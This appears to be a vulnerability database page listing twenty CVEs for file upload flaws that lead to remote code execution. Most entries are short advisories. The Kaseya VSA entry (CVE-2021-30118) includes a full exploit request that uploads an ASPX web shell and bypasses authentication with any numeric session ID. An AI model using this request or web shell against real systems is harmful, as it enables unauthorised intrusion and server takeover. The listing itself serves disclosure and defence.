Total
1117 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2021-30149 | 1 Ocproducts | 1 Composr | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Composr 10.0.36 allows upload and execution of PHP files. | |||||
| CVE-2021-30118 | 1 Kaseya | 1 Vsa | 2024-11-21 | 10.0 HIGH | 9.8 CRITICAL |
| An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise. | |||||
| CVE-2021-29377 | 1 Pearadmin | 1 Pearadmin Think | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Pear Admin Think through 2.1.2 has an arbitrary file upload vulnerability that allows attackers to execute arbitrary code remotely. A .php file can be uploaded via admin.php/index/upload because app/common/service/UploadService.php mishandles fileExt. | |||||
| CVE-2021-29281 | 1 Gfi | 1 Archiver | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| File upload vulnerability in GFI Mail Archiver versions up to and including 15.1 via insecure implementation of Telerik Web UI plugin which is affected by CVE-2014-2217, and CVE-2017-11317. | |||||
| CVE-2021-28428 | 1 Horizontcms Project | 1 Horizontcms | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| File upload vulnerability in HorizontCMS before 1.0.0-beta.3 via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE. | |||||
| CVE-2021-28294 | 1 Online Ordering System Project | 1 Online Ordering System | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Online Ordering System 1.0 is vulnerable to arbitrary file upload through /onlineordering/GPST/store/initiateorder.php, which may lead to remote code execution (RCE). | |||||
| CVE-2021-28173 | 1 Deltaflow Project | 1 Deltaflow | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| The file upload function of Vangene deltaFlow E-platform does not perform access controlled properly. Remote attackers can upload and execute arbitrary files without login. | |||||
| CVE-2021-28023 | 1 Servicetonic | 1 Servicetonic | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Arbitrary file upload in Service import feature in ServiceTonic Helpdesk software version < 9.0.35937 allows a malicious user to execute JSP code by uploading a zip that extracts files in relative paths. | |||||
| CVE-2021-27964 | 1 Sfcyazilim | 1 Sonlogger | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file. | |||||
| CVE-2021-27817 | 1 Shopxo | 1 Shopxo | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| A remote command execution vulnerability in shopxo 1.9.3 allows an attacker to upload malicious code generated by phar where the suffix is JPG, which is uploaded after modifying the phar suffix. | |||||
| CVE-2021-27459 | 1 Emerson | 8 X-stream Enhanced Xefd, X-stream Enhanced Xefd Firmware, X-stream Enhanced Xegk and 5 more | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| A vulnerability has been found in multiple revisions of Emerson Rosemount X-STREAM Gas Analyzer. The webserver of the affected products allows unvalidated files to be uploaded, which an attacker could utilize to execute arbitrary code. | |||||
| CVE-2021-27428 | 1 Ge | 38 Multilin B30, Multilin B30 Firmware, Multilin B90 and 35 more | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| GE UR IED firmware versions prior to version 8.1x supports upgrading firmware using UR Setup configuration tool – Enervista UR Setup. This UR Setup tool validates the authenticity and integrity of firmware file before uploading the UR IED. An illegitimate user could upgrade firmware without appropriate privileges. The weakness is assessed, and mitigation is implemented in firmware Version 8.10. | |||||
| CVE-2021-27274 | 1 Netgear | 1 Prosafe Network Management System | 2024-11-21 | 10.0 HIGH | 9.8 CRITICAL |
| This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System 1.6.0.26. Authentication is not required to exploit this vulnerability. The specific flaw exists within the MFileUploadController class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-12124. | |||||
| CVE-2021-27198 | 1 Visualware | 1 Myconnection Server | 2024-11-21 | 10.0 HIGH | 9.8 CRITICAL |
| An issue was discovered in Visualware MyConnection Server before v11.1a. Unauthenticated Remote Code Execution can occur via Arbitrary File Upload in the web service when using a myspeed/sf?filename= URI. This application is written in Java and is thus cross-platform. The Windows installation runs as SYSTEM, which means that exploitation gives one Administrator privileges on the target system. | |||||
| CVE-2021-26918 | 1 Probot | 1 Bot | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| ** DISPUTED ** The ProBot bot through 2021-02-08 for Discord might allow attackers to interfere with the intended purpose of the "Send an image when a user joins the server" feature (or possibly have unspecified other impact) because the uploader web service allows double extensions (such as .html.jpg) with the text/html content type. NOTE: there may not be cases in which an uploader web service is customer controlled; however, the nature of the issue has substantial interaction with customer controlled configuration. NOTE: the vendor states "This is just an uploader (like any other one) which uploads files to cloud storage and accepts various file types. There is no kind of vulnerability and it won't compromise either the client side or the server side." | |||||
| CVE-2021-26809 | 1 Car Rental Portal Project | 1 Car Rental Portal | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| PHPGurukul Car Rental Project version 2.0 suffers from a remote shell upload vulnerability in changeimage1.php. | |||||
| CVE-2021-26794 | 1 Frogcms Project | 1 Frogcms | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Privilege escalation in 'upload.php' in FrogCMS SentCMS v0.9.5 allows attacker to execute arbitrary code via crafted php file. | |||||
| CVE-2021-26740 | 1 Doyocms Project | 1 Doyocms | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| Arbitrary file upload vulnerability sysupload.php in millken doyocms 2.3 allows attackers to execute arbitrary code. | |||||
| CVE-2021-26634 | 2 Linux, Maxb | 2 Linux Kernel, Maxboard | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| SQL injection and file upload attacks are possible due to insufficient validation of input values in some parameters and variables of files compromising Maxboard, which may lead to arbitrary code execution or privilege escalation. Attackers can use these vulnerabilities to perform attacks such as stealing server management rights using a web shell. | |||||
| CVE-2021-26473 | 1 Vembu | 2 Bdr Suite, Offsite Dr | 2024-11-21 | 7.5 HIGH | 9.8 CRITICAL |
| In VembuBDR before 4.2.0.1 and VembuOffsiteDR before 4.2.0.1 the http API located at /sgwebservice_o.php action logFilePath allows an attacker to write arbitrary files in the context of the web server process. These files can then be executed remotely by calling the file via the web server. | |||||